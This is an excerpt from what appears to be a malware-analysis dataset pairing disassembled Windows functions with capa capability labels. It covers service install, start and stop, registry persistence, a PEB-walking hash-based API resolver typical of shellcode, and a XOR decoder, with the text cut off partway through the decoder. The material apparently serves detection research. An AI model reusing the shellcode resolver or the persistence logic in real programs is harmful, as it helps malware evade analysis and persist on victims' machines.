joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002cda0
Capabilities:
Create service
Persist via windows service

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor eax, eax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea r8, str.Cmd_ServiceInstall
mov qword [rbp - 0x60], r8
lea r15, str.DBIServceLib.cpp
mov qword [rbp - 0x58], r15
mov dword [rbp - 0x50], 0x5b
lea r12, str.__Cmd_ServiceInstall_
mov qword [rbp - 0x48], r12
lea r13, [0x14004b4ac]
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x38], 3
lea rdx, str.ENTER__s
lea rcx, [rbp - 0x58]
call fcn.1400028a0
nop
xor r14d, r14d
mov word [rbp - 0x30], r14w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp - 0x2e]
call fcn.140032580
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14002ceaa
mov ebx, 0x80004005
mov dword [rsp + 0x78], 0x63
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r13
mov dword [rbp - 0x70], r14d
mov r8d, ebx
lea rdx, str.Error_Code:_0x_X
lea rcx, [rsp + 0x70]
call fcn.1400028a0
jmp 0x14002cfaa
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x14002ced1
mov ebx, 0x80004003
mov dword [rsp + 0x78], 0x66
jmp 0x14002ce80
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], SafeArrayUnaccessData
mov r9d, 0xf01ff
lea r8, [0x14004ae40]
lea rdx, [0x14004ae90]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rsi, rax
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r13
lea rcx, [rsp + 0x70]
test rax, rax
jne 0x14002cf61
mov ebx, 0x80004003
mov dword [rsp + 0x78], 0x77
mov dword [rbp - 0x70], r14d
mov r8d, ebx
lea rdx, str.Error_Code:_0x_X
call fcn.1400028a0
jmp 0x14002cfa0
mov dword [rsp + 0x78], 0x78
mov dword [rbp - 0x70], 3
lea r8, [0x14004ae90]
lea rdx, str._s_is_installed.
call fcn.1400028a0
mov edx, 1
lea rcx, [0x14004ae90]
call fcn.14002e600
mov ebx, r14d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov r8, qword [rbp - 0x60]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 0x58]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14002cff0
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp - 8], rax
xor eax, eax
lea r8, str.Cmd_ServiceUninstall
lea r14, str.DBIServceLib.cpp
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
lea r15, str.__Cmd_ServiceUninstall_
lea r12, [0x14004b4ac]
lea rdx, str.ENTER__s
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x28], 0x84
mov dword [rbp - 0x10], 3
call fcn.1400028a0
xor edx, edx
lea r8d, [rdx + 1]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x14002d0c9
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x60]
mov r8d, ebx
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x58], 0x8a
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], eax
call fcn.1400028a0
jmp 0x14002d175
lea rdx, [0x14004ae90]
mov r8d, 0x10000
mov rcx, rax
mov qword [rsp + 0xa0], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x14002d11f
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x60]
mov r8d, ebx
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x58], 0x8d
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], eax
call fcn.1400028a0
jmp 0x14002d164
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
lea r8, [0x14004ae90]
lea rdx, str._s_is_uninstalled.
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x58], 0x90
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], 3
call fcn.1400028a0
mov rcx, rsi
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0xa0]
mov r8, qword [rbp - 0x38]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 0x30]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002d1c0
Capabilities:
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp - 8], rax
xor eax, eax
lea r8, str.Cmd_ServiceStart
lea r14, str.DBIServceLib.cpp
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
lea r15, str.__Cmd_ServiceStart_
lea r12, [0x14004b4ac]
lea rdx, str.ENTER__s
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x28], 0x9a
mov dword [rbp - 0x10], 3
call fcn.1400028a0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x14002d29b
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x60]
mov r8d, ebx
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x58], 0xa0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], eax
call fcn.1400028a0
jmp 0x14002d370
lea rdx, [0x14004ae90]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0xa0], rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x14002d2f1
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x60]
mov r8d, ebx
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x58], 0xa3
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], eax
call fcn.1400028a0
jmp 0x14002d35f
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
lea rcx, [rbp - 0x60]
test eax, eax
jne 0x14002d333
mov ebx, 0x80004005
lea rdx, str.Error_Code:_0x_X
mov dword [rbp - 0x58], 0xa5
mov r8d, ebx
mov dword [rbp - 0x40], eax
call fcn.1400028a0
jmp 0x14002d356
lea r8, [0x14004ae90]
lea rdx, str._s_is_started.
mov dword [rbp - 0x58], 0xa6
mov dword [rbp - 0x40], 3
call fcn.1400028a0
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0xa0]
mov r8, qword [rbp - 0x38]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 0x30]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002d3b0
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor eax, eax
lea r8, str.Cmd_ServiceStop
lea r14, str.DBIServceLib.cpp
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
lea r15, str.__Cmd_ServiceStop_
lea r12, [0x14004b4ac]
lea rdx, str.ENTER__s
lea rcx, [rbp - 9]
mov qword [rbp - 0x11], r8
mov qword [rbp - 9], r14
mov qword [rbp + 7], r15
mov qword [rbp + 0xf], r12
mov dword [rbp - 1], 0xb0
mov dword [rbp + 0x17], 3
call fcn.1400028a0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x14002d48d
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xb7
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d566
lea rdx, [0x14004ae90]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0xc0], rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x14002d4e3
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xba
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d555
lea r8, [rbp + 0x1f]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
lea rcx, [rbp - 0x39]
test eax, eax
jne 0x14002d529
mov ebx, 0x80004005
lea rdx, str.Error_Code:_0x_X
mov dword [rbp - 0x31], 0xbc
mov r8d, ebx
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d54c
lea r8, [0x14004ae90]
lea rdx, str._s_is_stopped.
mov dword [rbp - 0x31], 0xbd
mov dword [rbp - 0x19], 3
call fcn.1400028a0
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0xc0]
mov r8, qword [rbp - 0x11]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 9]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002d5b0
Capabilities:
Pause service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor eax, eax
lea r8, str.Cmd_ServicePause
lea r14, str.DBIServceLib.cpp
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
lea r15, str.__Cmd_ServicePause_
lea r12, [0x14004b4ac]
lea rdx, str.ENTER__s
lea rcx, [rbp - 9]
mov qword [rbp - 0x11], r8
mov qword [rbp - 9], r14
mov qword [rbp + 7], r15
mov qword [rbp + 0xf], r12
mov dword [rbp - 1], 0xc7
mov dword [rbp + 0x17], 3
call fcn.1400028a0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x14002d68d
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xce
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d766
lea rdx, [0x14004ae90]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0xc0], rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x14002d6e3
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xd1
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d755
lea r8, [rbp + 0x1f]
mov edx, 2
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
lea rcx, [rbp - 0x39]
test eax, eax
jne 0x14002d729
mov ebx, 0x80004005
lea rdx, str.Error_Code:_0x_X
mov dword [rbp - 0x31], 0xd3
mov r8d, ebx
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d74c
lea r8, [0x14004ae90]
lea rdx, str._s_is_paused.
mov dword [rbp - 0x31], 0xd4
mov dword [rbp - 0x19], 3
call fcn.1400028a0
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0xc0]
mov r8, qword [rbp - 0x11]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 9]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002d7b0
Capabilities:
Continue service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor eax, eax
lea r8, str.Cmd_ServiceContinue
lea r14, str.DBIServceLib.cpp
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
lea r15, str.__Cmd_ServiceContinue_
lea r12, [0x14004b4ac]
lea rdx, str.ENTER__s
lea rcx, [rbp - 9]
mov qword [rbp - 0x11], r8
mov qword [rbp - 9], r14
mov qword [rbp + 7], r15
mov qword [rbp + 0xf], r12
mov dword [rbp - 1], 0xde
mov dword [rbp + 0x17], 3
call fcn.1400028a0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x14002d88d
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xe5
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d966
lea rdx, [0x14004ae90]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0xc0], rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x14002d8e3
mov ebx, 0x80004003
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x39]
mov r8d, ebx
mov qword [rbp - 0x39], r14
mov dword [rbp - 0x31], 0xe8
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d955
lea r8, [rbp + 0x1f]
mov edx, 3
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x21], r12
lea rcx, [rbp - 0x39]
test eax, eax
jne 0x14002d929
mov ebx, 0x80004005
lea rdx, str.Error_Code:_0x_X
mov dword [rbp - 0x31], 0xea
mov r8d, ebx
mov dword [rbp - 0x19], eax
call fcn.1400028a0
jmp 0x14002d94c
lea r8, [0x14004ae90]
lea rdx, str._s_is_resumed.
mov dword [rbp - 0x31], 0xeb
mov dword [rbp - 0x19], 3
call fcn.1400028a0
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0xc0]
mov r8, qword [rbp - 0x11]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 9]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14002f400
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002e600
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov qword [rbp - 0x41], 0xfffffffffffffffe
mov qword [rsp + 0x110], rbx
mov rax, qword [0x14006b3d0]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
mov dword [rbp - 0x31], edx
xor eax, eax
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rax
lea r8, str.CServiceCtrl::SetServiceStateToReg
mov qword [rbp - 9], r8
lea rsi, str.ServiceCtrl.cpp
mov qword [rbp - 1], rsi
mov dword [rbp + 7], 0x189
lea r14, str.__CServiceCtrl::SetServiceStateToReg_
mov qword [rbp + 0xf], r14
lea r15, [0x14004b4ac]
mov qword [rbp + 0x17], r15
mov dword [rbp + 0x1f], 3
lea rdx, str.ENTER__s
lea rcx, [rbp - 1]
call fcn.1400028a0
nop
xor edi, edi
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x11], 7
mov qword [rbp - 0x19], rdi
mov word [rbp - 0x29], di
lea r8d, [rdi + 0x22]
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x29]
call fcn.140011b40
nop
cmp word [rbx], di
jne 0x14002e6d2
mov r8d, edi
jmp 0x14002e6eb
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x14002e6e0
mov rdx, rbx
lea rcx, [rbp - 0x29]
call fcn.14002ee60
mov qword [rbp - 0x69], rsi
mov dword [rbp - 0x61], 0x18e
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], r15
mov dword [rbp - 0x49], 3
mov r9d, dword [rbp - 0x31]
lea r8, str.dwServiceState
lea rdx, str._s__0x_08X
lea rcx, [rbp - 0x69]
call fcn.1400028a0
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 8
cmovae rdx, qword [rbp - 0x29]
lea rax, [rbp - 0x39]
mov qword [rsp + 0x20], rax
mov r9d, 0x2011f
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
sete al
test al, al
jne 0x14002e792
mov dword [rbp - 0x61], 0x190
mov qword [rbp - 0x69], rsi
mov ebx, 0x80004005
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], r15
mov dword [rbp - 0x49], edi
mov r8d, ebx
lea rdx, str.Error_Code:_0x_X
lea rcx, [rbp - 0x69]
call fcn.1400028a0
jmp 0x14002e7d1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ServiceState
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete al
test al, al
jne 0x14002e7cf
mov dword [rbp - 0x61], 0x191
jmp 0x14002e769
mov ebx, edi
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x14002e7e4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x39], rdi
cmp qword [rbp - 0x11], 8
jb 0x14002e7f4
mov rcx, qword [rbp - 0x29]
call fcn.14002f3e8
mov qword [rbp - 0x11], 7
mov qword [rbp - 0x19], rdi
mov word [rbp - 0x29], di
mov r8, qword [rbp - 9]
lea rdx, str.LEAVE__s
lea rcx, [rbp - 1]
call fcn.1400028a0
mov eax, ebx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14002f400
mov rbx, qword [rsp + 0x110]
add rsp, 0xd0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400302c0
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400302d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400302da
xor eax, eax
test eax, eax
je 0x1400302ea
mov ecx, eax
call fcn.140033a0c
or eax, 0xffffffff
jmp 0x1400302ec
xor eax, eax
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d9
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403a
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004030
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040ce
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040ce
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040cd
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004084
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004075
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004024
Function at 0x140001180
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 6]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, [0x140010040]
mov r10, rax
sub rbx, rax
movabs rdi, 0xff00ff00ff00ff01
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rcx, r8
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 1]
mov byte [r9 - 1], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [rbx + r9]
mov byte [r9], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 + 1]
mov byte [r9 + 1], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 + 2]
mov byte [r9 + 2], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 + 3]
mov byte [r9 + 3], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 6]
xor al, byte [rbx + r9 + 4]
mov byte [r9 + 4], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 7]
xor al, byte [rbx + r9 + 5]
mov byte [r9 + 5], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 8]
xor al, byte [rbx + r9 + 6]
mov byte [r9 + 6], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 + 7]
mov byte [r9 + 7], al
lea rcx, [r8 + 9]
mov rax, rdi
lea r9, [r9 + 0xe]
mul rcx
add r11d, 0xe
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xa]
xor al, byte [rbx + r9 - 6]
mov byte [r9 - 6], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xb]
xor al, byte [rbx + r9 - 5]
mov byte [r9 - 5], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xc]
xor al, byte [rbx + r9 - 4]
mov byte [r9 - 4], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xd]
